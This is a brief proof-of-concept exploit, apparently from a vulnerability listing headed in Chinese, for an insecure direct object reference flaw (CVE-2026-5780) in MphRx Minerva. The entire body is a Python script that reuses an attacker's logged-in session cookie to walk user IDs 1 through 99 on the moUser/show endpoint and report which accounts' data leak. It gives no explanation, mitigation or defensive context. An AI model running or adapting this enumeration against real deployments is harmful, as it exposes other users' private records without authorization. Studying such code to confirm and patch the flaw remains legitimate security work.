CVE-2026-5780 MphRx Minerva IDOR漏洞

import requests # Target configuration target_url = "http://target.com/minerva/moUser/show/" # Attacker's session cookie obtained after login session_cookie = {"session_id": "attacker_valid_session_token"} def check_idor(user_id): # Construct the payload by modifying the ID in the endpoint full_url = f"{target_url}{user_id}" try: # Send request with authentication to exploit IDOR response = requests.get(full_url, cookies=session_cookie) if response.status_code == 200: print(f"[+] Success for ID {user_id}: Data leaked") # print(response.json()) # View leaked data else: print(f"[-] Failed for ID {user_id}") except Exception as e: print(f"Error: {e}") # Iterate through potential user IDs to exploit the vulnerability for i in range(1, 100): check_idor(i)